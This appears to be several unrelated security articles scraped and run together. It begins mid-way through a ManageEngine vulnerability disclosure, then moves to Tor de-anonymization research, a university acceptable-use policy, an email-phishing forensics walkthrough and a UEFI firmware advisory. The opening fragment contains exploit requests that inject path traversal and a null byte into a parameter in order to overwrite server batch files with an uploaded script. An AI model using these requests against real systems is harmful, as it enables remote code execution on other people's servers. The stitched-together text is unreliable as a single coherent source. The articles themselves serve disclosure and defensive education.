/discoveryServlet/WsDiscoveryServlet?computerName=../bin/run.bat%00 POST /discoveryServlet/WsDiscoveryServlet?computerName=../bin/backUpData.bat%00 <...text file / script payload here...> >> Fix: #1 is fixed on ServiceDesk Plus 9.0 build 9031. It is UNFIXED on all other products. Disclosure to ManageEngine was done on 04/08/2014, so over 150 days have elapsed. The last communication I received from them was that "Once we released this fix in ServiceDesk plus, we eventually take this in other products like AssetExplorer and SupportCenter." #2 is fixed on ServiceDesk Plus 9.0 build 9027 and on AssetExplorer 6.1 build 6107. It is UNFIXED for IT360. ====================== [1] http://seclists.org/fulldisclosure/2014/Aug/55 http://seclists.org/fulldisclosure/2014/Aug/75 http://seclists.org/fulldisclosure/2014/Aug/88 http://seclists.org/fulldisclosure/2014/Sep/1 http://seclists.org/fulldisclosure/2014/Sep/110 http://seclists.org/fulldisclosure/2014/Nov/12 http://seclists.org/fulldisclosure/2014/Nov/18 http://seclists.org/fulldisclosure/2014/Nov/21 http://seclists.org/fulldisclosure/2014/Dec/9 http://seclists.org/fulldisclosure/2015/Jan/2 [2] https://github.com/rapid7/metasploit-framework/pull/4517 [3] https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt Source

Introduction In a previous post, I presented the main techniques used to hack Tor networks and de-anonymize Tor users. Law enforcement and intelligence agencies consider “de-anonymization” of Tor users a primary goal. Authorities can try to implement techniques to break the encryption used to anonymize the traffic or to exploit vulnerabilities in one of the software modules that allows anonymizing the user’s online experience. There is also another option for authorities: to try secretly to destroy the overall Tor architecture or attack the hidden services to interfere with the traffic that flows to them. Operation Onymous Since the publication of the last post, a blow was dealt by the authorities to the cybercriminals that use the Tor network for illegal purposes. Police and intelligence agencies in a joint effort conducted the takedown of several illegal marketplaces as part of Operation Onymous. Coordinated by Europol’s European Cybercrime Centre (EC3), Operation Onymous hit the criminal organization that exploited the Tor network to manage black markets. The operation is considered an important success in the fight agaisnst cybercrime, but many experts have begun to question how law enforcement was able to locate the servers hosting hidden services and operators who ran the illegal activities. The developers of the Tor Project published an interesting blog post titled “Thoughts and Concerns about Operation Onymous“, in which they have explained the possible techniques adopted by authorities to locate the hidden services and de-anonymize the operators that managed the most popular black markets, including Silk Road 2.0. “Over the last few days, we received and read reports saying that several Tor relays were seized by government officials. We do not know why the systems were seized, nor do we know anything about the methods of investigation which were used,” states the post. The principal assumptions that law enforcement has made on the possible attack scenarios implemented by the law enforcement are: Lack of operational security of hidden services Exploitation of bugs in the web application Bitcoin de-anonymization Attacks on the Tor network The members of the Tor Project highlighted that the police has compromised the anonymity of the location of the servers behind the hidden services due to the lack of one of the following conditions: The hidden service must be properly configured. The web server should be not vulnerable: this means that it must be not affected by any flaw and must be properly configured. The web application should have no flaws. An attacker that is able to exploit a vulnerability in the web server or in the web application (e.g. the e-commerce system exposed by the operators to propose the illegal products) could easily hack the targeted hidden service. Resuming, to de-anonymize Tor users it is possible to compromise a poorly configured server or the web application it exposes, and there is no need to search and exploit an alleged vulnerability in Tor architecture. By exploiting a vulnerability in a third-party application used by a dark marketplace, it is possible to install a backdoor on the server, revealing its location and the identities of its operators. Another possibility for law enforcement is to infect the machine of one of the alleged administrators with a spyware. The computer could be localized through ordinary investigations. Traffic analysis attack based on NetFlow Exactly one week after the disclosure of Operation Onymous, a group of researchers presented the findings of a study conducted between 2008 and 2014 on the de-anonymization of the Tor users. The researchers analyzed the possibility to identify Tor users and reveal their originating IP addresses; they claimed to have obtained a 100 percent ‘decloaking’ success rate under laboratory conditions. The group led by professor Sambuddho Chakravarty, now researching Network Anonymity and Privacy at the Indraprastha Institute of Information Technology in Delhi, has published several papers on the topic over the last few years. The study revealed that more than 81 percent of Tor clients can be de-anonymized by exploiting the NetFlow technology designed by Cisco for its network appliances. NetFlow was introduced by the IT giant into its routers to implement an instrument to collect IP network traffic as it enters or exits an interface. It is a precious instrument to analyze the network traffic managed by the router and identify the causes of congestion. The protocol is widespread, and many experts consider it as a standard de facto. It actually runs by default in the hardware of many other network device manufacturers. The technique proposed by Chakravarty and his team implements an active traffic analysis based on the introduction of specific traffic perturbations on server side. The researchers are able to de-anonymize Tor users by evaluating the effect of a similar perturbation on the client side through statistical correlation. In a previous study, Chakravarty demonstrated that an attacker can monitor a signi?cant percentage of the network paths from Tor nodes to destination servers by having access to a few Internet exchange points. The control of a few Internet exchange points allows the monitoring of a signi?cant percentage of the network paths from Tor nodes to destination servers. This means that a powerful and persistent attacker can run traf?c analysis attacks by observing similar traf?c patterns at various points of the network. The last study conducted by the team of researchers has revealed how to run an effective traffic analysis attack with less traf?c monitoring capabilities, such as Cisco’s NetFlow, and run a traf?c analysis attack on a large scale. Previous research, in fact, suggested a significant effort to de-anonymize users on a large scale. The experts consider that previous techniques required an effort sustainable only by a government or by an intelligence agency. The researcher explained that a single AS (Autonomous System) could monitor more than 39 percent of randomly-generated Tor circuits. A traffic analysis attack elaborated in the last study doesn’t request the enormous infrastructural effort as the previous techniques do, but it exploits one or more high-bandwidth and high-performance Tor relays. The team used a modified public Tor server, hosted at the time at Columbia University, running on Linux for its tests. Figure 1 – Traffic Analysis based on NetFlow The group of experts simulated the Internet activity of a typical Tor user: they injected a repeating traffic pattern (i.e. HTML files) into the TCP connection that they saw originating in the target exit node, and then analyzed the traffic at the exit node, as derived from the router’s flow records, to improve client identification. Figure 2 – Traffic Analysis attack In the first phase, the researchers conducted specific tests in a lab environment with surprising results. In the second phase, the team started the live sessions using real Tor traf?c. The team analyzed the traffic obtained from its public Tor relay that served hundreds of Tor circuits simultaneously. The targeted victims were hosted on three different locations in the Planetlab, the global research network that supports the development of new network services. The chosen locations were Texas (US), Leuven (Belgium) and Corfu (Greece). The victim clients downloaded a large ?le from the server that deliberately introduced perturbations in the arriving TCP connection’s traf?c, thereby deliberately injecting a traf?c pattern in the stream between the server and the exit node. “The process was terminated after a short while and we computed the correlation between the bytes transferred between the server and the recently terminated connection from the exit node and the entry node and the several clients that used it, during this interval,” states the paper. The test sessions were organized in two phases based on the source of data analyzed: a first session to evaluate the effectiveness when retrieving data from open-source NetFlow packages, and a second part based on sparse data obtained from an institutional Cisco router accessed by the group of researchers. Figure 3 – Test results for Traffic Analysis based on NetFlow “We present an active traffic analysis method based on deliberately perturbing the characteristics of user traffic at the server side, and observing a similar perturbation at the client side through statistical correlation. We evaluate the accuracy of our method using both in-lab testing, as well as data gathered from a public Tor relay serving hundreds of users. Our method revealed the actual sources of anonymous traffic with 100% accuracy for the in-lab tests, and achieved an overall accuracy of about 81.4% for the real-world experiments, with an average false positive rate of 6.4,” states the paper. The method elaborated by the researchers obtained excellent results: the researchers were able to de-anonymize traffic with 100% accuracy with in-lab tests and achieved an accuracy of about 81 percent for live sessions. Many experts speculate that the recent Operation Onymous, which allowed the seizure of several dark market places, may have exploited a traffic analysis attack against the Tor network to identify the operators of the black markets. De-anonymize Tor users from their Bitcoin transactions While the majority of Bitcoin users considers Bitcoin one of the most secure systems to pay online without being tracked by law enforcement, the members of Tor Project warned of the possibility that the recent Operation Onymous exploited the Bitcoin to identify the operators behind the seized black markets. In effect, it is possible to de-anonymize clients in a Bitcoin P2P network, as demonstrated by a team of researchers working at the University of Luxembourg. The researchers Alex Biryukov, Dmitry Khovratovich, and Ivan Pustogarov published a paper titled “Deanonymisation of clients in Bitcoin P2P network” to explain how to exploit a built-in flaw in the Bitcoin architecture to reveal the IP address of a client who makes a payment with the virtual currency. The attack consists in generating a ‘malformed message’, faking that it had been sent by the user through the Bitcoin peer-to-peer network. These malformed messages cause the increase for the penalty score of the IP address, and if fake messages exceed 100, the IP could be banned for 24 hours. The mechanism is implemented as a DoS protection and could be abused to separate Tor from Bitcoin. The attackers force Bitcoin servers to refuse connections via Tor and other anonymity services. This results in clients using their actual IP addresses when connecting to other peers and thus being exposed to the main phase of the attack, which correlates pseudonyms with IP addresses. At this point, every time a user’s client makes a connection to the Bitcoin server, its address will be revealed. Resuming, if a Bitcoin client is proxying its connection over a Tor relay and sends malformed messages, the IP address of this relay will be banned after a specific number of messages, and the Bitcoin client will continue to work with its original IP address. This technique allows the isolating of any target client from the entire Tor network, if the attacker is able to force the separation of Bitcoin clients from the entire Tor network by sending malformed messages to every Tor sever. “For the time of writing there were 1008 Tor exit nodes. Thus the attack requires establishing 1008 connections and sending a few MBytes in data. This can be repeated for all Bitcoin servers, thus prohibiting all Tor connections for 24 hours at the cost of a million connections and less than 1 GByte of traffic. In case an IP address of a specific Bitcoin node can be spoofed, it can be banned as well,” states the paper. “Once the hacker knows this address, he can trick the Bitcoin server into revealing the IP address of the user,” states the post. The researchers described their technique with the following statements: “The crucial idea of our attack is to identify each client by an octet of outgoing connections it establishes. This octet of Bitcoin peers [entry nodes] serves as a unique identifier of a client for the whole duration of a user session and will differentiate even those users who share the same NAT IP address. “As soon as the attacker receives the transaction from just two to three entry nodes he can with very high probability link the transaction to a specific client.” The researchers explained in the paper that the anonymity in the Bitcoin virtual currency scheme is weak. Many features could be exploited to run a cyber attack on the crypto currency and reveal a user’s identity. Figure 4 – Trickling of ADDR messages The usage of Tor could increase the level of anonymity, but a hacker can always track users from their Bitcoin payments. “We demonstrate that the use of Tor does not rule out the attack as Tor connections can be prohibited for the entire network. It shows that the level of network anonymity provided by Bitcoin is quite low. Several features of the Bitcoin protocol makes the attack possible. In particular, we emphasize that the stable set of only eight entry nodes is too small, as the majority of these nodes’ connections can be captured by an attacker,” states the paper. Another problem related to the anonymity of Bitcoin is that the virtual currency’s lack of a robust authentication system makes it easy for an attacker to cause nodes to blacklist the IP addresses of seemingly misbehaving connections. “We figured out that very short messages may cause a day IP ban, which can be used to separate a given node or the entire network from anonymity services such as proxy servers or Tor. If the Bitcoin community wishes to use Tor, this part of the protocol must be reconsidered.” Experts at Tor Project speculated that a similar technique could have been exploited by law enforcement in the recent Operation Onymous against black markets in the Tor Network, allowing authorities to persecute their operators. Mary-Ann Russon on the International Business Times reports that, as explained by researchers, a hacker could de-anonymize a Bitcoin user from its transactions through Tor for €1,500. Not only de-anonymization … the seizure of the directory authorities So far we have discussed the possibility of revealing the IP addresses of Tor users, however there is also the possibility of compromising the entire architecture, targeting critical components such as the directory authorities. The Tor network relies on nine directory authorities located in the Europe and United States, which provide a signed list of all the relays of the Tor network. Experts at Tor Project highlighted that an attack to these servers can “incapacitate” the overall architecture of Tor. “The Tor Project has learned that there may be an attempt to incapacitate our network in the next few days through the seizure of specialized servers in the network called directory authorities,” Tor Project leader Roger Dingledine explained in a blog post. “We are taking steps now to ensure the safety of our users, and our system is already built to be redundant so that users maintain anonymity even if the network is attacked. Tor remains safe to use … We hope that this attack doesn’t occur; Tor is used by many good people.” The seizure of the directory authorities could have the primary target to sabotage the entire Tor network, but it would not be effective to reveal the identities of its users. An attacker, by seizing at least five of the directory authorities belonging to the Tor network, could force Tor clients to connect other relays. This kind of attack could be conducted only by an actor that is interested in dismantling the Tor network. Experts speculate that law enforcement could run covert operations to block the infrastructure and hinder criminal crews that exploit the anonymizing system. This could be a serious problem. Do not forget that the Tor network provides a safe network from surveillance and censorship for millions of people who live in repressive regimes. “Every person has the right to privacy. This right is a foundation of a democratic society.” References Hacking Tor and Online Anonymity - InfoSec Institute 81 percent Tor users is identifiable with traffic analysis attack | Security Affairs How Operation Onymous managed by law enforcement impacted Tor network | Security Affairs https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network 81 percent Tor users is identifiable with traffic analysis attack | Security Affairs Seizure of directory authorities could block the Tor network | Security Affairs Operation Onymous, the joint attack against dark markets | Security Affairs https://mice.cs.columbia.edu/getTechreport.php?techreportID=1545&format=pdf& Bitcoin anonymity, hackers can deanonymize users | Security Affairs ORBilu: Biryukov Alex - Deanonymisation of clients in Bitcoin P2P network Source

Universities, colleges and other higher education institutions store PII (Personally Identifiable Information) such as credit card numbers, email addresses, medical records, many staff-related records, student-staff communications, library use records, intellectual-property records, highly-sensitive research, and social security numbers. However, academic IT systems were designed to store and share data, and not necessarily protect from cyber attacks. As a result, university IT systems are regularly targeted by hackers. Obviously, cyber attacks have dire consequences for these institutions. But what exactly is targeted? And who pays the cost? Cyber criminals who target university IT systems aren’t looking to steal transcriptions, and the affected institutions pay a high cost in millions of dollars and damaged reputations. Why target academic IT systems? A SANS survey informed that fewer than half of schools have a formal cyber risk assessment and remediation program in place. Campus networks are often left wide open for web-based attacks due to their open nature and multiple access points. Additionally, universities are failing to stay up with phishing and other scams. Cyber criminals waste no time in exploiting these vulnerabilities. What’s more worrying is that many attacks go undetected. Cyber breaches are a constant risk, yet many university IT departments lack the resources to constantly monitor security performance and take proactive measures to ensure the security of their records databases. Hackers are likely to trade information stolen from campus networks in the dark corners of the Internet, where financial information isn’t the only hot commodity. Any Personally Identifiable Information is considered valuable. Many universities also partner with government organizations and contractors, which makes them vulnerable to cyber espionage as well. Recent incidents Data from the Educause Center for Analysis and Research revealed there were 562 cyber security breaches at 324 educational institutions across the US between 2005 and April 25, 2014. That makes more than one breach a week. However, with several breaches going undetected and unreported, the actual figure is likely to be higher. Of the reported breaches, 77 percent took place within America’s universities and colleges. In February 2014, an online data breach at University of Maryland exposed records of more than 300,000 faculty, students, and staff. In May 2014, a cyber attack at Butler University in Indiana exposed records of 163,000 applicants, staff, faculty, graduates, and students. At Weber State University in Utah, student Joseph W. Langford was charged with breaching faculty and university computers in August 2014. While the type of information accessed remains unknown, personal data of 1,200 people using the breached systems between January 2014 and April 2014 may be at risk. Main security vulnerabilities of higher ed networks University IT systems are a hotbed for cyber incidents and a playground for cyber criminals. Hackers are on the alert for the following vulnerabilities for a chance to infiltrate campus networks: Poor password practices: Password-related cybercrime is at the forefront in campus network attacks, and it’s all because of poor password practices. University staff and students don’t understand the risks of reusing the same passwords for everything (online portal, email, social media, etc.). They sign up for all sorts of online services throughout their semesters and may be reusing the same easy to remember passwords. Even if it’s difficult to guess for an adversary, answers to ‘forgot my password’ can be a gateway for hackers. Inadequate knowledge about phishing emails: Those badly worded emails have become much more sophisticated over the years. Hackers can use these emails to take your name, look you up on social media, and find out where you live and who your friends are. Students and staff may become victims to emails that include malicious links and attachments designed to infect a network or individual computer with malware to steal credentials that can let hackers access the entire university network. They can then launch a bigger attack such as distributed-denial-of-service. BYOD risks: Campuses are now considered a haven to devices. Students bring their own tablets, smartphones, and other devices to connect to campus networks, while faculty and staff do the same with their personal devices. These devices are an easy target for cyber criminals, as they are not as secure as an institution’s data center – or even a personal laptop. Phone hacking software is sold for as little as $79 in the black market. Also, hackers find gateways via malicious apps and unsafe smartphone browsers. Weak policies: Open access to college campus networks is great, but it can cause security issues in surprising ways. Just installing anti-virus software or firewalls doesn’t make IT systems and networks secure. All it takes is one hard drive, one laptop, or one USB to be lost or stolen to cost millions of dollars in sanctions. Additionally, students may connect their smartphones to unsecured WiFi networks near the college locality. Acceptable use policy (AUP) template This acceptable use policy template covers policies and measures required to strengthen the security of university IT systems. Students, staff, and faulty – all of them have a significant role to play. AUP for students Avoid being over-social: Social media is great for interacting with friends and family, but you don’t need to over-share. Look up privacy settings of each social network and configure it so that only people you know can see photos, videos, and so on. Limit activities on open WiFi: Free WiFi is a blessing in college. But even if the university’s own network is password-protected, you could be on the same network as a cyber criminal. Limit access to financial and other sensitive accounts when on these networks. Use a VPN (virtual private network) to foil any attempts at information theft. Watch that email: Your email account is the hub of your academic experience. Unfortunately, it is also the breeding ground for adversaries. You may receive official looking emails from hackers with malicious links and attachments, which redirect to sites where your credentials are compromised. Read emails carefully, and enable multi-factor authentication to avoid direct logins in case the password gets compromised. Protect passwords: Speaking of password compromise, limit the chances of that happening by creating strong, unique passwords known only to you. Use a password manager to centralize the management of your passwords as you accumulate accounts over the semesters. Find a password manager you like, download and install it on your devices, and upgrade weak passwords. Lock devices: Have you secured your gadgets, digitally and physically? While most universities stress digital security, they may not educate students about the importance of physically securing their devices. Many devices including laptops and tablets are being designed with special security slots that can be linked to a sturdy cable lock. Once you’ve cabled a device to something that a thief won’t carry away, you significantly reduce chances of physical theft. AUP for staff and faculty The faculty and staff should abide by above-mentioned acceptable use policy recommendations as they’re also prone to cyber risks students commonly face. In addition, they should… Create backups: It is good practice to create backups of all information stored on the campus network. While the aim of attacking university IT systems is largely to steal data or information, there’s a chance of data getting destroyed during the breach process. You can backup information to the cloud, hard drive, and other removable media such as a flash drive or DVD. Update software: Worms, malware, Trojan and viruses are common ways for cyber criminals to access sensitive information. Make sure the network and system is protected by software that’s up-to-date. Updates to these software include important improvements and fixes, sometimes to address important security issues, so they should be responded to immediately. Securely remove data: When you are transferring a campus-owned computer from one department to another, or donating the system to an organization, it is important to ensure sensitive data has been shredded securely (deleting files does not completely wipe the data). Staff and faculty can use fee-based and free tools to securely remove data from their devices. Register devices: Most universities have an online portal for staff and faculty where they can register their devices. This portal is usually secured by an external security company. The benefit of registration is that if your laptop or smartphone is ever stolen, the external security team will be able to detect thieves when they reconnect to the network. Students should also be educated about the benefits of registering their devices. Plan for mitigation: Although we’re being proactive about preventing cyber attacks, sometimes bad things will happen. The best thing you can do is have a response plan in place, which would involve partnering with a security firm that detects threats when it matters the most. The Ponemon Institute informed that .EDU institutions are expected to pay $259 per stolen record. Cyber liability coverage that includes a duty to defend policy may also be a good option. Conclusion The landscape of who the cyber criminals target has changed significantly. Universities and colleges should implement an acceptable use policy template throughout their institutions to protect resources that have tangible financial worth associated with them. Source

Humans are often the weakest link in the security chain. In his book The Art of Deception, renowned hacker Kevin Mitnick explains how innate human tendencies are exploited to the attacker’s advantage. It is a misconception that hackers seek to exploit convoluted vulnerabilities beyond comprehension of nontechnical employees. In fact, a meticulous hacker would begin by locating the simplest vulnerability such as an untrained employee who may unwittingly divulge critical information. In this case study, we will investigate a similar situation pertaining to an email phishing attack. Scenario: A document is leaked on the Internet which contains confidential information about M57?s employees such as SSN, salaries and positions in the company. This sensitive Excel sheet has mysteriously appeared on a competitor’s website. Jean, the CFO, is believed to be involved since she had access to this file. She claims that the president Alison Smith asked explicitly for this information. However, Alison denies having asked for it or having received it. Role: Computer Forensics Investigator Purpose: You are required to investigate the claims and determine how the documents ended up on the competitor’s website. Evidence Disk: You can obtain the EnCase image of the M57-Jean case here: part1 and part2. [Courtesy: Digital Corpora] Tools used: You can download Paraben’s Email Examiner here. Tasks performed: During the course of this investigation, you will be required to perform the following tasks: Mount evidence image and locate the PST file pertaining to the case Extract information from the PST file Study email headers to hunt for discrepancies Perform document metadata analysis Create a timeline of critical events that lead to the leak Build a context to aid proceedings in the court of law Delineating Email Headers Before we go ahead, it would be prudent to discuss the importance of email headers in cases like this. Email headers store plenty of information relevant to a specific email message. Usually, these are hidden and only the ‘text’ (body) of the email is shown to the recipient. Recipients do however have the option of explicitly viewing the header of any email in many local and web-based email clients. Firstly, and this is important, email headers are not always veracious and can be easily forged. Accordingly, the only part of an email header you can trust is the part generated by your service, that is, the ‘Received’ part. Now that you know what can and cannot be trusted about an email header, let us understand the various parts of it. Return-Path: After receiving an email when you click ‘Reply To’, to send your reply, this is the address that your reply will be sent to. Delivery-Date: The date on which your email client or service received the email. Message-ID: This is a unique identifier attached to this message when it was created. Content-Type: This will specify the formatting of the message which could be plaintext or HTML. X-Spam-Status and X-Spam-Level: These are used to specify a spam score for this message. Received: Reading these lines from bottom to top will tell you the servers that the message traveled through while it was in transit. Priority: This is used to assign a priority to the message and is often abused by spammers to mark their spam as “urgent”. We have avoided self-explanatory parts of the header such as ‘From’, ‘Subject’, ‘Date’, ‘To’ and ‘Body’. Again, the ‘From’ field is easily forged and should never be relied upon. Locating artifacts on the disk that are relevant to the case We commence investigation by replicating the image provided to us and then mounting the replica for analysis. The image is in the proprietary EnCase format. You can mount this image using a variety of forensics software including ‘Autopsy’ which is a GUI front-end for the Sleuth kit tools [Figure 1]. Figure 1 If you lack access to forensics software capable of mounting this EnCase image format, it is suggested that you convert these images to a more general ‘dd’ format [Figure 2]. You can do so using the procedure described in one of our previous papers. [im]http://resources.infosecinstitute.com/wp-content/uploads/123114_2142_ForensicsIn2.png Figure 2 As evident from the scenario, this case revolves around a bunch of emails that were sent to and from Jean’s computer. After preliminary analysis of the disk, we know that Jean was using Microsoft Outlook Express as her email client. We know that Outlook Express stores the details of emails, calendar events, tasks, and journal on local disk in the form of a Personal Storage Table (PST). This PST file is located at: C:Documents and Settings/Jean/Local Settings/Application Data/Microsoft/Outlook/outlook.pst We make a copy of this PST file for further analysis [Figure 2]. If you are using Autopsy, simply ‘export’ this file [Figure 1]. Analyzing the PST file on a Linux box There are a variety of tools that you can use for the purpose of analyzing this PST file. On a Linux box, you can use ‘readpst’ along with the switch ‘-S’ to ensure that the messages are stored in appropriate files and folders as named in the PST file. The switch ‘-o’ is used to specify the directory where these messages will be extracted. readpst -S -o /root/del_pst/ outlook.pst Figure 3 As expected, the messages extracted from the PST file were stored in the ‘del_pst’ folder, as specified, and are numbered and separated on the basis of where they belong (e.g., ‘Inbox’, ‘Outbox’, ‘Sent Items’, etc) [Figure 4]. Figure 4 You can now use any email client to read these messages. In fact, here we are simply using the Linux ‘cat’ command to display the raw contents of one of these emails. Notice that this shows us both the header and the text of the message [Figure 5]. Figure 5 After a quick glance inside ‘Sent Items’, we are able to ascertain that the sensitive document in question was attached as part of email 16 [Figure 6]. Figure 6 If this PST file contained a few messages, then this crude method of searching through the emails for evidence would suffice. However, in our case, the PST file contains hundreds of emails, and it is better to use a GUI email forensics tool that can facilitate quicker analysis with ease. Analyzing the PST file on a Windows box There are several tools available that allow you to view the contents of PST files in Windows. For the purposes of this case, you are free to use any of these as long as they also show the headers of the email. We are using Paraben’s Email Examiner which has a GUI and is capable of loading the messages just as you would see them in an email client like Outlook [Figure 7]. It also has the option of recovering deleted emails. Begin analyzing the PST file using Email Examiner in this manner: ‘New Case’ ->’Add New Evidence’ -> ‘Auto-detect e-mail database’ -> Load the PST file Figure 7 The first few mails are from Jean testing that the email client is properly set up. Next, there are several ‘Google Alert’ mails that are not relevant to the case. Note: In Email Examiner, go to ‘RFC Header’ to view header of the message and ‘Text’ to view the body [Figure 7]. Figure 8 The president, Alison Smith, had her email configured to the name of ‘Alison57?, as evident from the emails received from her on 07/07/2008 [Figure 8]. Also, in the aftermath on 07/21/2008, the emails received from the real Alison also suggest that her email is configured to the name ‘Alison57? [Figure 9]. Figure 9 So our first intuition is that all other emails configured to the names of “Alex” or “alison@m57.biz” are those sent by the attacker trying to masquerade as Alison. Note however that it is not difficult for an attacker to obtain the name configured in Alison’s email. For instance, the attacker could have lured Alison into replying to one of his emails, in which case, he would be aware of the fact that Alison uses the name “Alison57?. Nevertheless, the attacker did not go through this trouble, and instead simply used the name “Alex” and spoofed the ‘sender address’ to Alison’s actual email address. It is possible that he figured that the ‘sender address’ of alison@m57.biz would be enough to phish Jean—which was indeed the case. Furthermore, on 07/07/2008, in her second email to Jean, Alison explicitly asked Jean not to forward spam links to her as she had “no way of knowing whether they are from Jean or a hacker”. Hence, another indication that emails on 07/20/2008 were sent by an attacker is that they included spam emails that Alison would not have forwarded given her attitude towards such mails. Moreover, we immediately notice that 2 of these emails have the ‘Return-Path’ set to ‘tuckgorge@gmail.com’, which is a dead giveaway [Figure 10]. Figure 10 Document Metadata Analysis The document is an Excel sheet containing confidential details of employees such as SSN, salaries, and departments [Figure 11]. Figure 11 There are several ways to analyze the metadata stored in this document. The easiest way is to open the document in MS Excel 2013 and view the ‘properties’ [Figure 12]. You can also use the tool ‘FOCA’ to view this metadata. Figure 12 As is evident, the document was created by the president, Alison Smith, on 06/12/2008 at 8:43 PM. The document was last modified by Jean on 07/20/2008—the day of the attack—at 6:58 AM. Note: The Excel sheet contained an image [Figure 11] and so we ran some tests to detect steganography. However, after preliminary analysis, the image was not found to contain any hidden messages. Please feel free to run your own tests. Timeline of Significant Events Relevant to the Leak Based on our analysis, we can now construct a timeline of significant events surrounding the document exfiltration which would help in comprehending how the information leaked out. DATE TIME EVENT 07/07/2008 09:32:01 AM Jean received emails from Alison, the president, with name “Alison57? 07/20/2008 05:03:23 AM Attacker sends first email masquerading as Alison and asks about “financial plans”, possibly to establish false identity 07/20/2008 05:03:24 AM Attacker sends 4 spam emails, possibly for the purpose of distraction 07/20/2008 05:10:36 AM Attacker makes the first request for the sensitive information in an email with subject line “background checks” 07/20/2008 05:14:03 AM Jean is doubtful and sends email inquiring about the email Alison is using 07/20/2008 05:14:28 AM Jean confirms that she will send the requested information and replies with “Sure thing.” 07/20/2008 06:56:11 AM Attacker makes second request for the sensitive information and shows urgency; the Return-Path is modified to ‘tuckgorge@gmail.com’ 07/20/2008 06:58:00 AM Jean ‘last modified’ the XLS document 07/20/2008 06:58:47 AM Jean sends the sensitive XLS file to ‘tuckgorge@gmail.com’ 07/20/2008 10:33:55 AM The attacker sends an email to thank Jean for sending the information 07/21/2008 05:16:35 AM The real Alison sends an email to Jean inquiring what she is doing 07/21/2008 05:26:38 AM Alison sends email to Jean telling her “something strange is going on” Document Exfiltration Cause Analysis So how did the file end up on the competitor’s website? In all probability, the attacker obtained the email ID of Alison Smith from M57?s website and used it to send a forged email to Jean asking for the confidential information. Jean fell for the trap and modified an XLS document according to the information requested by the attacker. In the last couple of emails to Jean, the attacker modified the ‘Reply-To’ path to receive Jean’s reply on his Gmail address which was tuckgorge@gmail.com. After Jean sent the sensitive document to this address, the attacker made it public by attaching it on the ‘comments’ section of a competitor’s website. The attacker could be a disgruntled former employee or a job candidate turned down by M57. In an email on 07/07/2008, Alison refers to a tattooed woman whom M57 turned down for a job. She does have motive to hurt M57, but further investigation is needed before anything can be said about the attacker’s identity. Conclusion This case underscores the gravity of security training and awareness for employees within a company. It is unclear whether M57 took measures to educate employees about phishing attacks and security practices in general. To a trained eye, there were several clues during the phishing attack that suggested malice. However, Jean overlooked them simply because the email seemed to have been sent from Alison’s email address. The attack was unsophisticated and the leak could have been easily averted. Since a particular employee was targeted in this case, you may call this a spear phishing attack. Also, since CFO is a senior position in a company, you may also call this whaling. This paper was written for the purpose of explaining the investigation. However, while formulating your report at the end of the investigation, you would want to avoid certain aspects of this explanation. In particular, avoid adding unsubstantiated conclusions or offering personal opinions about the character of personnel involved. For instance, intuition tells us that Jean might have revealed this information unwittingly and not out of ill-intent. However, you would avoid stating that in the report since you lack evidence to exculpate Jean. Moreover, giving opinions about the case is the job of expert witnesses. You, as a forensics investigator, should simply investigate and present facts of the case that are backed by evidence. References [1] Bill Nelson, Amelia Phillips, and Christopher Steuart. Email Investigations. In “Guide to Computer Forensics and Investigations”, Cengage Learning, 2009. [2] Crocker, D., “STANDARD FOR THE FORMAT OF ARPA INTERNET TEXT MESSAGES”, STD 11, RFC 822, August 1982. Source

The CERT/CC at Carnegie Mellon University today released three advisories warning of vulnerabilities that affect some unified extensible firmware interface (UEFI) systems and the BIOS of some Intel chipsets. Hardware and firmware vulnerabilities, such as these reported by Corey Kallenberg of MITRE Corp., and Rafal Wojtczuk of Bromium, give attackers not only root access to servers and clients, but also gives them unrelenting persistence on a system even after mitigations. The UEFI flaws allow an attacker the ability to bypass Secure Boot and re-flash firmware present on a machine, even if a signed firmware enforcement mechanism is present. Secure Boot was introduced upon the release of Windows 8 and is supposed to ensure that only software trusted by the manufacturer runs at boot by verifying signature of everything running during boot-up. The Intel BIOS vulnerability, meanwhile, could allow an attacker to write code to the firmware. The most severe of the vulnerabilities affects Intel, Phoenix Technologies and American Megatrends Inc., UEFI systems; Dell systems are not vulnerable. Those vulnerable systems, the advisory said, fail to restrict access to boot script used by the EFI S3 Resume Boot Path. An attacker with local access could bypass firmware write protections and reflash the firmware or write to the SMRAM region. Boot script, Wojtczuk and Kallenberg explain in the advisory, dictates a number of operations to enable initialization of the platform. “The boot script is interpreted early enough where important platform security mechanisms have not yet been configured,” the researchers said, noting as an example that BIOS-CNTL and TSEGMB, protections against arbitrary writes, are unlocked. “Given this, the boot script is in a security critical position and maintaining its integrity is important,” they said. “However, we have discovered that on certain systems the boot script resides in unprotected memory which can be tampered with by an attacker with access to physical memory.” Kallenberg and Wojtczuk also reported a buffer overflow vulnerability in the EDK1 UEFI reference implementation, an open source implementation also used by some commercial UEFI implementations, they said. The vulnerability is in the Edk1/source/Sample/Universal/Variable/RuntimeDxe/FS/FSVariable.c source file, the advisory said. Specifically, the buffer overflow is in a reclaim operation used to preserve large variables in memory constrained instances. “In the reclaim operation, there is assumption that by following the chain of variables (by NextVariable = GetNextVariablePtr (Variable), that essentially adds Variable’s size to it), we do not jump out of the variable store bounds,” the advisory quotes Kallenberg and Wojtczuk. “In particular, in line 352, the CurrPtr can extend beyond the legitimate boundaries of the variable region. Ultimately in line 350, we can end up with a memory corruption via buffer overflow.” Depending on when the vulnerable code is instantiated, such as before important operations are locked down, an attacker can re-flash firmware with their own, or bypass Secure Boot and launch their own boot loader. “The consequences and exploitablity of this bug will vary based on the OEM’s firmware implementation,” the advisory said, adding that to date, only Insyde Software Corp., systems are affected with a handful of others possibly, including Dell, HP, Lenovo, Sony and Toshiba. The advisory said Apple, IBM, Intel and Phoenix are not affected. The final vulnerability is a race condition in Intel chipsets. Only those relying on the BIOS_CNTL.BIOSWE and BIOS_CNTL.BLE bits as a BIOS lockdown are vulnerable. Specifically, an attacker can write to the BIOS between the time a System Management Interrupt (SMI) determines whether a write to BIOS is permissible and locks it down. “A local, authenticated attacker could write malicious code to the platform firmware. Additionally, if the “UEFI Variable” region of the SPI Flash relies on BIOS_CNTL.BIOSLE for write protection, as many implementations do, this vulnerability could be used to bypass UEFI Secure Boot,” the advisory said. “Lastly, the attacker could corrupt the platform firmware and cause the system to become inoperable.” American Megatrends Inc., and Phoenix Technologies systems are affected, while Apple and IBM are not affected, according to the advisory. Source

